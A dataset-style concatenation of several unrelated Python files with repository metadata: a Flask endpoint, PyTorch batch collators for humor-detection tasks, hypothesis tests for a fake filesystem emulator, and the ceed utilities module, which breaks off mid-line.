HyperKeras(rs, optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['accuracy'], # callbacks=[SummaryCallback()]) # # x1 = np.random.randint(0, 10000, size=(100, 10)) # x2 = np.random.randint(0, 100, size=(100, 20)) # x3 = np.random.normal(1.0, 100.0, size=(100)) # y = np.random.randint(0, 2, size=(100), dtype='int') # x = [x1, x2, x3] # # hk.search(x, y, x, y, max_trials=10) # assert hk.get_best_trial() # best_trial = hk.get_best_trial() # # estimator = hk.final_train(best_trial.space_sample, x, y) # score = estimator.predict(x) # result = estimator.evaluate(x, y) # assert len(score) == 100 # assert result
39.965714
120
0.570489
6,358
0.909065
0
0
0
0
0
0
1,623
0.232056
9fe3efc076ac50b9a73eb652fb87630b07aba672
286
py
Python
backend/api/api.py
iamdempa/react-flask-postgres-boilerplate-with-docker
f1d74dfa08777ff2aeef3ed2620087855d6e30c3
[ "Apache-2.0" ]
67
2018-10-02T04:04:15.000Z
2022-03-30T17:43:56.000Z
backend/api/api.py
iamdempa/react-flask-postgres-boilerplate-with-docker
f1d74dfa08777ff2aeef3ed2620087855d6e30c3
[ "Apache-2.0" ]
null
null
null
backend/api/api.py
iamdempa/react-flask-postgres-boilerplate-with-docker
f1d74dfa08777ff2aeef3ed2620087855d6e30c3
[ "Apache-2.0" ]
30
2018-11-21T22:55:08.000Z
2022-03-01T16:55:53.000Z
from flask import jsonify from flask_restful import Resource, Api from .models import Player as PlayerModel, to_dict api = Api() class Player(Resource): def get(self): return jsonify([to_dict(player) for player in PlayerModel.query.all()]) api.add_resource(Player, '/')
22
79
0.734266
122
0.426573
0
0
0
0
0
0
3
0.01049
9fe5a28b405ba0411a5720a42bbe49f07b08a96f
8,697
py
Python
core/data/collators.py
manzar96/st7
8dac6fa3497e5a3594766a232a9e8436120e9563
[ "MIT" ]
null
null
null
core/data/collators.py
manzar96/st7
8dac6fa3497e5a3594766a232a9e8436120e9563
[ "MIT" ]
null
null
null
core/data/collators.py
manzar96/st7
8dac6fa3497e5a3594766a232a9e8436120e9563
[ "MIT" ]
null
null
null
import torch from torch.nn.utils.rnn import pad_sequence, pack_padded_sequence from core.utils.masks import pad_mask, subsequent_mask from core.utils.tensors import mktensor class Task71aCollator(object): def __init__(self, pad_indx=0, device='cpu'): self.pad_indx = pad_indx self.device = device def __call__(self, batch): myid, text_input, is_humor = map(list, zip(*batch)) input_lengths = torch.tensor( [len(s) for s in text_input], device=self.device) # attention mask max_length = max(input_lengths) inputs_pad_mask = pad_mask(input_lengths, max_length=max_length, device=self.device) # Pad inputs and targets padded_inputs = ( pad_sequence(text_input, batch_first=True, padding_value=self.pad_indx) .to(self.device)) is_humor = mktensor(is_humor, dtype=torch.long) return padded_inputs,inputs_pad_mask, is_humor class Task71aCollatorTest(object): def __init__(self, pad_indx=0, device='cpu'): self.pad_indx = pad_indx self.device = device def __call__(self, batch): myid, text_input, is_humor = map(list, zip(*batch)) input_lengths = torch.tensor( [len(s) for s in text_input], device=self.device) # attention mask max_length = max(input_lengths) inputs_pad_mask = pad_mask(input_lengths, max_length=max_length, device=self.device) # Pad inputs and targets padded_inputs = ( pad_sequence(text_input, batch_first=True, padding_value=self.pad_indx) .to(self.device)) return myid, padded_inputs, inputs_pad_mask class Task71aCollatorFeatures(object): def __init__(self, pad_indx=0, device='cpu'): self.pad_indx = pad_indx self.device = device def __call__(self, batch): myid, text_input, is_humor = map(list, zip(*batch)) input_lengths = torch.tensor( [len(s) for s in text_input], device=self.device) # attention mask max_length = max(input_lengths) inputs_pad_mask = pad_mask(input_lengths, max_length=max_length, device=self.device) # Pad inputs and targets padded_inputs = ( pad_sequence(text_input, batch_first=True, padding_value=self.pad_indx) .to(self.device)) is_humor = mktensor(is_humor, dtype=torch.long) return myid, padded_inputs,inputs_pad_mask, is_humor class ShortTextDatasetCollator(object): def __init__(self, pad_indx=0, device='cpu'): self.pad_indx = pad_indx self.device = device def __call__(self, batch): text_input, is_humor = map(list, zip(*batch)) input_lengths = torch.tensor( [len(s) for s in text_input], device=self.device) # attention mask max_length = max(input_lengths) inputs_pad_mask = pad_mask(input_lengths, max_length=max_length, device=self.device) # Pad inputs and targets padded_inputs = ( pad_sequence(text_input, batch_first=True, padding_value=self.pad_indx) .to(self.device)) is_humor = mktensor(is_humor, dtype=torch.long) return padded_inputs,inputs_pad_mask, is_humor class Task723Collator(object): def __init__(self, pad_indx=0, device='cpu'): self.pad_indx = pad_indx self.device = device def __call__(self, batch): myid, text_input, humor_rating,humor_contr = map(list, zip(*batch)) input_lengths = torch.tensor( [len(s) for s in text_input], device=self.device) # attention mask max_length = max(input_lengths) inputs_pad_mask = pad_mask(input_lengths, max_length=max_length, device=self.device) # Pad inputs and targets padded_inputs = ( pad_sequence(text_input, batch_first=True, padding_value=self.pad_indx) .to(self.device)) humor_rating = mktensor(humor_rating, dtype=torch.float) humor_contr = mktensor(humor_contr, dtype=torch.long) return padded_inputs,inputs_pad_mask, humor_rating, humor_contr class Task723CollatorTest(object): def __init__(self, pad_indx=0, device='cpu'): self.pad_indx = pad_indx self.device = device def __call__(self, batch): myid, text_input, humor_rat, humor_contr = map(list, zip(*batch)) input_lengths = torch.tensor( [len(s) for s in text_input], device=self.device) # attention mask max_length = max(input_lengths) inputs_pad_mask = pad_mask(input_lengths, max_length=max_length, device=self.device) # Pad inputs and targets padded_inputs = ( pad_sequence(text_input, batch_first=True, padding_value=self.pad_indx) .to(self.device)) return myid, padded_inputs, inputs_pad_mask class Task723CollatorFeatures(object): def __init__(self, pad_indx=0, device='cpu'): self.pad_indx = pad_indx self.device = device def __call__(self, batch): myid, text_input, humor_rating,humor_contr = map(list, zip(*batch)) input_lengths = torch.tensor( [len(s) for s in text_input], device=self.device) # attention mask max_length = max(input_lengths) inputs_pad_mask = pad_mask(input_lengths, max_length=max_length, device=self.device) # Pad inputs and targets padded_inputs = ( pad_sequence(text_input, batch_first=True, padding_value=self.pad_indx) .to(self.device)) humor_rating = mktensor(humor_rating, dtype=torch.float) humor_contr = mktensor(humor_contr, dtype=torch.long) return myid, padded_inputs,inputs_pad_mask, humor_rating, humor_contr class Task74Collator(object): def __init__(self, pad_indx=0, device='cpu'): self.pad_indx = pad_indx self.device = device def __call__(self, batch): myid, text_input, off = map(list, zip(*batch)) input_lengths = torch.tensor( [len(s) for s in text_input], device=self.device) # attention mask max_length = max(input_lengths) inputs_pad_mask = pad_mask(input_lengths, max_length=max_length, device=self.device) # Pad inputs and targets padded_inputs = ( pad_sequence(text_input, batch_first=True, padding_value=self.pad_indx) .to(self.device)) off = mktensor(off, dtype=torch.float) return padded_inputs,inputs_pad_mask, off class Task74CollatorTest(object): def __init__(self, pad_indx=0, device='cpu'): self.pad_indx = pad_indx self.device = device def __call__(self, batch): myid, text_input, off = map(list, zip(*batch)) input_lengths = torch.tensor( [len(s) for s in text_input], device=self.device) # attention mask max_length = max(input_lengths) inputs_pad_mask = pad_mask(input_lengths, max_length=max_length, device=self.device) # Pad inputs and targets padded_inputs = ( pad_sequence(text_input, batch_first=True, padding_value=self.pad_indx) .to(self.device)) return myid, padded_inputs, inputs_pad_mask class Task74CollatorFeatures(object): def __init__(self, pad_indx=0, device='cpu'): self.pad_indx = pad_indx self.device = device def __call__(self, batch): myid, text_input, off = map(list, zip(*batch)) input_lengths = torch.tensor( [len(s) for s in text_input], device=self.device) # attention mask max_length = max(input_lengths) inputs_pad_mask = pad_mask(input_lengths, max_length=max_length, device=self.device) # Pad inputs and targets padded_inputs = ( pad_sequence(text_input, batch_first=True, padding_value=self.pad_indx) .to(self.device)) off = mktensor(off, dtype=torch.float) return myid, padded_inputs, inputs_pad_mask,off
33.321839
77
0.609176
8,493
0.976544
0
0
0
0
0
0
450
0.051742
9fe62e0a759bb38c6001a97c2d2f6695ebbb34cb
22,748
py
Python
tests/filesystem_tests.py
d-kiss/fakeos
88dff667830efe10841df8b3a5f33a581bd94b69
[ "MIT" ]
1
2017-10-09T10:59:43.000Z
2017-10-09T10:59:43.000Z
tests/filesystem_tests.py
d-kiss/fakeos
88dff667830efe10841df8b3a5f33a581bd94b69
[ "MIT" ]
5
2017-10-06T17:33:37.000Z
2017-10-13T16:31:34.000Z
tests/filesystem_tests.py
rinslow/fakeos
88dff667830efe10841df8b3a5f33a581bd94b69
[ "MIT" ]
null
null
null
import operator import os as _os from pathlib import Path from string import ascii_letters from itertools import chain, permutations from functools import reduce from fakeos import FakeOS from hypothesis import given, assume, example from hypothesis.strategies import text, sets, integers, lists, just from filesystem import FakeDirectory, FakeFile, FakeFilesystem, \ FakeFilesystemWithPermissions from fakeuser import FakeUser, Root from unittest import TestCase from operating_system import FakeWindows, FakeUnix ILLEGAL_NAMES = ("", ".", "..") class DirectoryCase(TestCase): @given(text()) def test_mkdir_when_directory_already_exists(self, directory: str): assume("/" not in directory and directory not in ILLEGAL_NAMES) os = FakeOS( filesystem=FakeFilesystem(directories=[FakeDirectory(Path("/"))])) os.mkdir("/" + directory) with self.assertRaises(FileExistsError): os.mkdir("/" + directory) @given(text()) def test_mkdir_when_parent_directory_doesnt_exist(self, directory: str): assume("/" not in directory and directory not in ILLEGAL_NAMES) os = FakeOS( filesystem=FakeFilesystem(directories=[FakeDirectory(Path("/"))])) with self.assertRaises(FileNotFoundError): os.mkdir("/hello/" + directory) @given(text(), text()) def test_mkdir_and_directory_exists_afterwards(self, directory: str, _file: str): assume("/" not in directory and directory not in ILLEGAL_NAMES) assume("/" not in _file and _file not in ILLEGAL_NAMES) os = FakeOS( filesystem=FakeFilesystem(directories=[FakeDirectory(Path("/"))])) os.mkdir("/" + directory) os.mkdir("/" + directory + "/" + _file) assert os.filesystem.has(Path("/" + directory + "/" + _file)) @given(text()) def test_mkdir_works(self, directory): assume("/" not in directory and directory not in ILLEGAL_NAMES) os = FakeOS( filesystem=FakeFilesystem(directories=[FakeDirectory(Path("/"))])) os.mkdir("/" + directory) @given(text()) def test_creating_root_directory(self, directory): assume("/" not in directory and directory not in ILLEGAL_NAMES) os = FakeOS() os.mkdir(directory) assert os.filesystem.has_directory(Path(directory)) @given(text(), sets(text())) @example("0", set()) def test_listdir_with_subdirectories_only(self, directory, subdirectories): assume("/" not in directory and directory not in ILLEGAL_NAMES) for subdirectory in subdirectories: assume(subdirectory not in ILLEGAL_NAMES) assume("/" not in subdirectory) os = FakeOS( filesystem=FakeFilesystem(directories=[FakeDirectory(Path("/"))])) os.mkdir("/" + directory) for subdirectory in subdirectories: os.mkdir("/" + directory + "/" + subdirectory) assert sorted(subdirectories) == sorted(os.listdir("/" + directory)) @given(text()) def test_listdir_empty_directory(self, directory): assume("/" not in directory and directory not in ILLEGAL_NAMES) os = FakeOS( filesystem=FakeFilesystem(directories=[FakeDirectory(Path("/"))])) os.mkdir("/" + directory) assert os.listdir("/" + directory) == [] @given(text(), text()) def test_listdir_with_a_file_inside(self, directory, filename): assume("/" not in directory and directory not in ILLEGAL_NAMES) assume("/" not in filename and filename not in ILLEGAL_NAMES) os = FakeOS( filesystem=FakeFilesystem(directories=[FakeDirectory(Path("/"))], files=[FakeFile(Path("/" + directory + "/" + filename))] )) os.mkdir("/" + directory) assert os.listdir("/" + directory) == [filename] @given(text(), text(), text()) def test_listdir_with_a_file_and_a_directory_inside(self, directory, filename, subdirectory): assume(subdirectory != filename) assume("/" not in directory and directory not in ILLEGAL_NAMES) assume("/" not in filename and filename not in ILLEGAL_NAMES) assume("/" not in subdirectory and subdirectory not in ILLEGAL_NAMES) os = FakeOS( filesystem=FakeFilesystem(directories=[FakeDirectory(Path("/"))], files=[FakeFile(Path("/" + directory + "/" + filename))] )) os.mkdir("/" + directory) os.mkdir("/" + directory + "/" + subdirectory) assert sorted(os.listdir("/" + directory)) == sorted([filename, subdirectory]) @given(text()) def test_makedirs_one_file_path(self, path): assume("/" not in path and path not in ILLEGAL_NAMES) os = FakeOS( filesystem=FakeFilesystem(directories=[FakeDirectory(Path(path))])) with self.assertRaises(OSError): os.makedirs(path) try: os.makedirs(path, exist_ok=True) except OSError: self.fail() @given(text()) @example("/") @example("/0") def test_makedirs_multiple_file_path(self, path: str): assume("/" in path and not path.startswith(".")) os = FakeOS() os.makedirs(path) with self.assertRaises(OSError): os.makedirs(path) @given(text()) def test_makedirs_when_part_of_the_path_exists_as_and_is_a_file(self, path: str): assume("/" in path) os = FakeOS(filesystem=FakeFilesystem(files=[FakeFile(Path(path))])) dirname = Path(path).joinpath("dirname") with self.assertRaises(FileExistsError): os.makedirs(dirname) @given(text()) @example("0") def test_rmdir(self, path): assume("/" not in path and path not in ILLEGAL_NAMES) os = FakeOS() fullpath = "/" + path os.makedirs(fullpath) assert path in os.listdir("/") os.rmdir(fullpath) assert path not in os.listdir("/") with self.assertRaises(FileNotFoundError): os.rmdir(fullpath) os.makedirs(fullpath + "/hello") with self.assertRaises(OSError): os.rmdir(fullpath) os = FakeOS(filesystem=FakeFilesystemWithPermissions(FakeFilesystem( files=[FakeFile(Path(path))]))) with self.assertRaises(NotADirectoryError): os.rmdir(path) class ChownCase(TestCase): @given(text(), integers(), integers()) def test_chown_to_a_directory(self, path: str, uid: int, gid: int): assume("/" not in path and path not in ILLEGAL_NAMES) os = FakeOS() os.mkdir(path) os.chown(path, uid=uid, gid=gid) assert os.filesystem[path].uid == uid assert os.filesystem[path].gid == gid @given(text(), integers(), integers()) def test_chown_to_a_file(self, path: str, uid: int, gid: int): assume("/" not in path and path not in ILLEGAL_NAMES) os = FakeOS(filesystem=FakeFilesystem(files=[FakeFile(Path(path))])) os.chown(path, gid=gid, uid=uid) assert os.filesystem[path].uid == uid assert os.filesystem[path].gid == gid @given(text(), integers(), integers()) def test_chown_to_a_nonexisting_fileobject(self, path: str, uid: int, gid: int): os = FakeOS() with self.assertRaises(FileNotFoundError): os.chown(path, gid=gid, uid=uid) @given(text(), integers(), integers()) def test_chown_not_changing_already_set_attributes(self, path: str, uid: int, gid: int): assume("/" not in path and path not in ILLEGAL_NAMES) os = FakeOS() os.mkdir(path) os.chown(path, uid=uid, gid=gid) os.chown(path, uid=-1, gid=-1) assert os.filesystem[path].gid == gid assert os.filesystem[path].uid == uid class ChmodCase(TestCase): @given(text(), integers()) def test_chmod(self, path, mode): assume("/" not in path and path not in ILLEGAL_NAMES) os = FakeOS() os.mkdir(path) os.chmod(path, mode) assert os.filesystem[path].mode == mode class FileCase(TestCase): @given(text()) @example("0") def test_remove_a_file(self, path): assume("/" not in path and path not in ILLEGAL_NAMES) os = FakeOS(filesystem=FakeFilesystemWithPermissions(FakeFilesystem( files=[FakeFile(Path("hello/" + path))]))) os.mkdir("hello") assert os.listdir("hello") == [path] os.remove("hello/" + path) assert os.listdir("hello") == [] @given(text()) def test_remove_a_directory(self, path): assume("/" not in path and path not in ILLEGAL_NAMES) os = FakeOS() os.mkdir(path) with self.assertRaises(IsADirectoryError): os.remove(path) @given(text()) def test_remove_a_non_existent_file(self, path): assume("/" not in path and path not in ILLEGAL_NAMES) os = FakeOS() with self.assertRaises(FileNotFoundError): os.remove(path) class CurrentDirectoryCase(TestCase): @given(text()) def test_chdir(self, path): assume("/" not in path and path not in ILLEGAL_NAMES) os = FakeOS() os.mkdir(path) os.chdir(path) assert os.getcwd() == str(Path(path).absolute()) @given(text()) def test_chdir_directory_does_not_exist(self, path): assume("/" not in path and path not in ILLEGAL_NAMES) os = FakeOS() with self.assertRaises(FileNotFoundError): os.chdir(path) @given(text()) def test_chdir_directory_path_is_a_file(self, path): assume("/" not in path and path not in ILLEGAL_NAMES) os = FakeOS(filesystem=FakeFilesystem(files=[FakeFile(Path(path))])) with self.assertRaises(NotADirectoryError): os.chdir(path) class DeviceCase(TestCase): @given(integers(), integers()) def test_makedev(self, major, minor): assume(-1 < major < 2 ** 31 and -1 < minor < 2 ** 31) os = FakeOS() assert os.makedev(major, minor) == _os.makedev(major, minor) @given(integers()) def test_major(self, device): assume(-1 < device < 2 ** 64) os = FakeOS() assert os.major(device) == _os.major(device) @given(integers()) def test_minor(self, device): assume(-1 < device < 2 ** 64) os = FakeOS() assert os.minor(device) == _os.minor(device) class RenameCase(TestCase): @given(text(alphabet=ascii_letters, min_size=1), text(alphabet=ascii_letters, min_size=1)) def test_renaming_root_directory(self, old, new): assume(old != new) os = FakeOS() os.mkdir(old) os.rename(old, new) with self.assertRaises(FileNotFoundError): old_file = os.filesystem[Path(old)] try: new_file = os.filesystem[Path(new)] except FileNotFoundError: self.fail("Filke was not renamed.") @given(text(alphabet=ascii_letters, min_size=1), text(alphabet=ascii_letters, min_size=1), text(alphabet=ascii_letters, min_size=1)) def test_renaming_non_root_directory(self, root, old, new): os = FakeOS() os.mkdir(root) os.mkdir(root + "/" + old) os.rename(root + "/" + old, root + "/" + new) assert os.listdir(root) == [new] @given(text(alphabet=ascii_letters, min_size=1), text(alphabet=ascii_letters, min_size=1), text(alphabet=ascii_letters, min_size=1)) def test_renaming_root_non_leaf_folder(self, old, new, inside): os = FakeOS() os.mkdir(old) os.mkdir(old + "/" + inside) os.rename(old, new) assert os.listdir(new) == [inside] @given(text(alphabet=ascii_letters, min_size=1), text(alphabet=ascii_letters, min_size=1), text(alphabet=ascii_letters, min_size=1), text(alphabet=ascii_letters, min_size=1)) def test_renaming_non_root_non_leaf_folder(self, old, new, inside, root): os = FakeOS() os.makedirs(root + "/" + old + "/" + inside) os.rename(root + "/" + old, root + "/" + new) assert os.listdir(root + "/" + new) == [inside] @given(text(alphabet=ascii_letters, min_size=1), text(alphabet=ascii_letters, min_size=1)) def test_renaming_when_destination_exists_on_windows(self, old, new): assume(old != new) os = FakeOS(operating_system=FakeWindows()) os.mkdir(old) os.mkdir(new) with self.assertRaises(OSError): os.rename(old, new) @given(text(alphabet=ascii_letters, min_size=1), text(alphabet=ascii_letters, min_size=1), text(alphabet=ascii_letters, min_size=1)) def test_renaming_when_destination_exists_on_unix(self, old, new, somefile): assume(old != new) os = FakeOS(operating_system=FakeUnix(), filesystem=FakeFilesystem(files=[FakeFile(Path(old)), FakeFile(Path(new))], operating_system=FakeUnix())) os.rename(old, new) os.filesystem[Path(new)] with self.assertRaises(OSError): fileobject = os.filesystem[Path(old)] @given(text(alphabet=ascii_letters, min_size=1), text(alphabet=ascii_letters, min_size=1), text(alphabet=ascii_letters, min_size=1), text(alphabet=ascii_letters, min_size=1), text(alphabet=ascii_letters, min_size=1)) def test_renaming_a_folder_and_changing_its_hierarchy(self, a, b, c, d, e): assume(e != b) os = FakeOS() os.makedirs(a + "/" + b + "/" + c + "/" + d) os.rename(a + "/" + b + "/" + c, a + "/" + e) assert set(os.listdir(a)) == {b, e} assert os.listdir(a + "/" + e) == [d] @given(text(alphabet=ascii_letters, min_size=1)) def test_renaming_to_the_same_thing(self, path): os = FakeOS() os.mkdir(path) os.rename(path, path) class AccessCase(TestCase): def test_access_when_root(self): os = FakeOS(user=Root()) os.mkdir("/", mode=0o000) for access_modifier in (os.X_OK, os.W_OK, os.R_OK, os.F_OK): assert os.access("/", access_modifier) def test_access_exist(self): os = FakeOS() os.mkdir("/") assert os.access("/", os.F_OK) and not os.access("other", os.F_OK) def test_access_effective_ids(self): os = FakeOS(user=FakeUser(gid=-2, uid=-2, is_sudoer=False)) os.setgid(0) os.setuid(0) assert os.getgid() == 0 assert os.getuid() == 0 os.mkdir("/", mode=0o070) # Group only os.setgid(-7) os.setuid(-7) os.seteuid(0) os.setegid(0) assert not os.access("/", mode=os.R_OK) assert os.access("/", mode=os.R_OK, effective_ids=True) def test_access_when_owner(self): os = FakeOS(user=FakeUser(gid=14, uid=42)) os.mkdir("r", mode=0o400) os.mkdir("w", mode=0o200) os.mkdir("x", mode=0o100) os.mkdir("rw", mode=0o600) os.mkdir("wx", mode=0o300) os.mkdir("rx", mode=0o500) os.mkdir("rwx", mode=0o700) os.filesystem.set_user(FakeUser(gid=18, uid=42)) assert os.access("r", os.R_OK) assert not os.access("r", os.W_OK) assert not os.access("r", os.X_OK) assert os.access("w", os.W_OK) assert not os.access("w", os.R_OK) assert not os.access("w", os.X_OK) assert os.access("x", os.X_OK) assert not os.access("x", os.R_OK) assert not os.access("x", os.W_OK) assert os.access("rw", os.R_OK) assert os.access("rw", os.W_OK) assert os.access("rw", os.R_OK | os.W_OK) assert not os.access("rw", os.X_OK) assert not os.access("rw", os.X_OK | os.W_OK) assert os.access("wx", os.X_OK) assert os.access("wx", os.W_OK) assert os.access("wx", os.X_OK | os.W_OK) assert not os.access("wx", os.R_OK) assert not os.access("wx", os.X_OK | os.R_OK) assert os.access("rx", os.X_OK) assert os.access("rx", os.R_OK) assert os.access("rx", os.X_OK | os.R_OK) assert not os.access("rx", os.W_OK) assert not os.access("rx", os.W_OK | os.R_OK) assert os.access("rwx", os.R_OK) assert os.access("rwx", os.X_OK) assert os.access("rwx", os.F_OK) assert os.access("rwx", os.R_OK | os.X_OK | os.W_OK) assert os.access("rwx", os.X_OK | os.W_OK) def test_access_when_everyone(self): os = FakeOS(user=FakeUser(gid=-1, uid=-1)) os.mkdir("r", mode=0o004) os.mkdir("w", mode=0o002) os.mkdir("x", mode=0o001) os.mkdir("rw", mode=0o006) os.mkdir("wx", mode=0o003) os.mkdir("rx", mode=0o005) os.mkdir("rwx", mode=0o007) os.filesystem.set_user(FakeUser(gid=0, uid=0)) assert os.access("r", os.R_OK) assert not os.access("r", os.W_OK) assert not os.access("r", os.X_OK) assert os.access("w", os.W_OK) assert not os.access("w", os.R_OK) assert not os.access("w", os.X_OK) assert os.access("x", os.X_OK) assert not os.access("x", os.R_OK) assert not os.access("x", os.W_OK) assert os.access("rw", os.R_OK) assert os.access("rw", os.W_OK) assert os.access("rw", os.R_OK | os.W_OK) assert not os.access("rw", os.X_OK) assert not os.access("rw", os.X_OK | os.W_OK) assert os.access("wx", os.X_OK) assert os.access("wx", os.W_OK) assert os.access("wx", os.X_OK | os.W_OK) assert not os.access("wx", os.R_OK) assert not os.access("wx", os.X_OK | os.R_OK) assert os.access("rx", os.X_OK) assert os.access("rx", os.R_OK) assert os.access("rx", os.X_OK | os.R_OK) assert not os.access("rx", os.W_OK) assert not os.access("rx", os.W_OK | os.R_OK) assert os.access("rwx", os.R_OK) assert os.access("rwx", os.X_OK) assert os.access("rwx", os.F_OK) assert os.access("rwx", os.R_OK | os.X_OK | os.W_OK) assert os.access("rwx", os.X_OK | os.W_OK) def test_access_when_group(self): os = FakeOS(user=FakeUser(gid=14, uid=42)) os.mkdir("r", mode=0o040) os.mkdir("w", mode=0o020) os.mkdir("x", mode=0o010) os.mkdir("rw", mode=0o060) os.mkdir("wx", mode=0o030) os.mkdir("rx", mode=0o050) os.mkdir("rwx", mode=0o070) os.filesystem.set_user(FakeUser(gid=14, uid=56)) assert os.access("r", os.R_OK) assert not os.access("r", os.W_OK) assert not os.access("r", os.X_OK) assert os.access("w", os.W_OK) assert not os.access("w", os.R_OK) assert not os.access("w", os.X_OK) assert os.access("x", os.X_OK) assert not os.access("x", os.R_OK) assert not os.access("x", os.W_OK) assert os.access("rw", os.R_OK) assert os.access("rw", os.W_OK) assert os.access("rw", os.R_OK | os.W_OK) assert not os.access("rw", os.X_OK) assert not os.access("rw", os.X_OK | os.W_OK) assert os.access("wx", os.X_OK) assert os.access("wx", os.W_OK) assert os.access("wx", os.X_OK | os.W_OK) assert not os.access("wx", os.R_OK) assert not os.access("wx", os.X_OK | os.R_OK) assert os.access("rx", os.X_OK) assert os.access("rx", os.R_OK) assert os.access("rx", os.X_OK | os.R_OK) assert not os.access("rx", os.W_OK) assert not os.access("rx", os.W_OK | os.R_OK) assert os.access("rwx", os.R_OK) assert os.access("rwx", os.X_OK) assert os.access("rwx", os.F_OK) assert os.access("rwx", os.R_OK | os.X_OK | os.W_OK) assert os.access("rwx", os.X_OK | os.W_OK) class PermissionsCase(TestCase): def test_rmdir_when_theres_no_permission_to_do_so(self): os = FakeOS(user=FakeUser(uid=0, gid=0)) os.mkdir("/", mode=0) with self.assertRaises(PermissionError): os.rmdir("/") def test_renaming_when_theres_no_permission_to_do_so(self): os = FakeOS(user=FakeUser()) os.mkdir("/", mode=0o000) with self.assertRaises(PermissionError): os.rename("/", "lol") def test_chmod_when_theres_no_permission_to_do_so(self): os = FakeOS(user=FakeUser(gid=2, uid=2, is_sudoer=False)) os.mkdir("/", mode=0o100) with self.assertRaises(PermissionError): os.chmod("/", mode=0o666) def test_chown_when_theres_no_permission_to_do_so(self): os = FakeOS(user=FakeUser(gid=2, uid=2, is_sudoer=False)) os.mkdir("/", mode=0) with self.assertRaises(PermissionError): os.chown('/', uid=3) def test_mkdir_when_theres_no_permission_to_do_so(self): os = FakeOS(user=FakeUser(gid=2, uid=2, is_sudoer=False)) os.mkdir("/", mode=0) with self.assertRaises(PermissionError): os.mkdir("/hello") def test_listdir_when_theres_no_permission_to_do_so(self): os = FakeOS(user=FakeUser(gid=2, uid=2, is_sudoer=False)) os.mkdir("/", mode=0o666) # No execution allowed with self.assertRaises(PermissionError): os.listdir("/") class UserAndGroupCase(TestCase): @given(integers()) def test_gid(self, gid: int): os = FakeOS() os.setgid(gid) assert os.getgid() == gid @given(integers()) def test_uid(self, uid: int): os = FakeOS() os.setuid(uid) assert os.getuid() == uid @given(integers()) def test_egid(self, egid: int): os = FakeOS() os.setegid(egid) assert os.getegid() == egid @given(integers()) def test_euid(self, euid: int): os = FakeOS() os.seteuid(euid) assert os.geteuid() == euid
33.403818
86
0.583656
22,162
0.974239
0
0
14,293
0.628319
0
0
874
0.038421
9fe6a6466ba62d142e4c8d8e39066315eacdcdb4
6,129
py
Python
ceed/utils.py
matham/ceed
5d32a99a33325b36dbe74d8b0a22e63abc92aab7
[ "MIT" ]
1
2020-03-02T22:26:44.000Z
2020-03-02T22:26:44.000Z
ceed/utils.py
matham/ceed
5d32a99a33325b36dbe74d8b0a22e63abc92aab7
[ "MIT" ]
null
null
null
ceed/utils.py
matham/ceed
5d32a99a33325b36dbe74d8b0a22e63abc92aab7
[ "MIT" ]
2
2020-01-13T19:42:16.000Z
2020-01-27T14:58:09.000Z
"""Utilities =================== Various tools used in :mod:`ceed`. """ import re import pathlib from collections import deque from typing import List, Tuple, Any, Union __all__ = ( 'fix_name', 'update_key_if_other_key', 'collapse_list_to_counts', 'get_plugin_modules', 'CeedWithID', ) _name_pat = re.compile('^(.+)-([0-9]+)$') def fix_name(name, *names): """Fixes the name so that it is unique among the names in ``names``. :Params: `name`: str A name of something `*names`: iterables of strings Positional argument, where each is a iterable of strings among which we ensure that the returned name is unique. :returns: A string that is unique among all the ``names``, but is similar to ``name``. We append a integer to make it unique. E.g.:: >>> fix_name('troll', ['toll', 'foll'], ['bole', 'cole']) 'troll' >>> fix_name('troll', ['troll', 'toll', 'foll'], ['bole', 'cole']) 'troll-2' >>> fix_name('troll', ['troll-2', 'toll', 'foll'], ['bole', 'cole']) 'troll' >>> fix_name('troll', ['troll', 'troll-2', 'toll', 'foll'], \ ['bole', 'cole']) 'troll-3' """ if not any((name in n for n in names)): return name m = re.match(_name_pat, name) i = 2 if m is not None: name, i = m.groups() i = int(i) new_name = '{}-{}'.format(name, i) while any((new_name in n for n in names)): i += 1 new_name = '{}-{}'.format(name, i) return new_name def update_key_if_other_key(items, key, value, other_key, key_map): """Given a dict, or list/tuple of dicts (recursively), it goes through all the dicts and updates the keys who match. Specifically, if a key matches ``key``, its value matches ``value``, there's another key named ``other_key`` in the dict, and the ``value`` of ``other_key`` is in ``key_map``, then the value of ``other_key`` is updated to that value from ``key_map``. """ for item in items: if isinstance(item, dict): if key in item and item[key] == value and other_key in item: item[other_key] = key_map.get(item[other_key], item[other_key]) update_key_if_other_key( item.values(), key, value, other_key, key_map) elif isinstance(item, (list, tuple)): update_key_if_other_key(item, key, value, other_key, key_map) def collapse_list_to_counts(values: list) -> List[Tuple[Any, int]]: """Converts a sequence of items to tuples of the item and count of sequential items. E.g.:: >>> collapse_list_to_counts([1, 1, 2, 3, 1, 1, 1, 3,]) [(1, 2), (2, 1), (3, 1), (1, 3), (3, 1)] """ counter = None last_item = object() res = [] for value in values: if value != last_item: if counter is not None: res.append((last_item, counter)) last_item = value counter = 1 else: counter += 1 if counter is not None: # we saw some items at least, the last was not added res.append((last_item, counter)) return res def get_plugin_modules( base_package: str, root: Union[str, pathlib.Path] ) -> Tuple[List[str], List[Tuple[Tuple[str], bytes]]]: """Takes a package name and it's corresponding root path and returns a list of the modules recursively within this package, as well as the source files in bytes. Only ``*.py`` files are considered, and although included with the source bytes, the ``packages`` list skips any files that start with a underscore (except ``__init__.py`` of course). """ packages = [] files = [] fifo = deque([pathlib.Path(root)]) while fifo: directory = fifo.popleft() relative_dir = directory.relative_to(root) directory_mod = '.'.join((base_package,) + relative_dir.parts) for item in directory.iterdir(): if item.is_dir(): if not item.name == '__pycache__': fifo.append(item) continue if not item.is_file() or not item.name.endswith(('.py', '.pyo')): continue # only pick one of pyo/py if item.suffix == '.pyo' and item.with_suffix('.py').exists(): continue files.append( (relative_dir.parts + (item.name, ), item.read_bytes())) if item.name.startswith('_') and item.name != '__init__.py' \ and item.name != '__init__.pyo': continue name = item.name[:-3] if name == '__init__': package = directory_mod else: package = f'{directory_mod}.{name}' packages.append(package) return packages, files class CeedWithID: """Adds :attr:`ceed_id` to the class so that any inheriting class instance can be associated with a unique integer ID for logging purposes. The ID is not automatically set for every object, it is manually set when :meth:`set_ceed_id` is called. See stage/function for when it's called. """ ceed_id: int = 0 """The integer id of the object. """ def set_ceed_id(self, min_available: int) -> int: """Sets the ID of this and any sub objects, each to a number equal or greater than ``min_available`` and returns the next minimum number available to be used. See :attr:`~ceed.analysis.CeedDataReader.event_data` for more details. :param min_available: The minimum number available to be used for the ID so it is unique. :return: The next minimum available number that can be used. Any number larger or equal to it is free to be used. """ self.ceed_id = 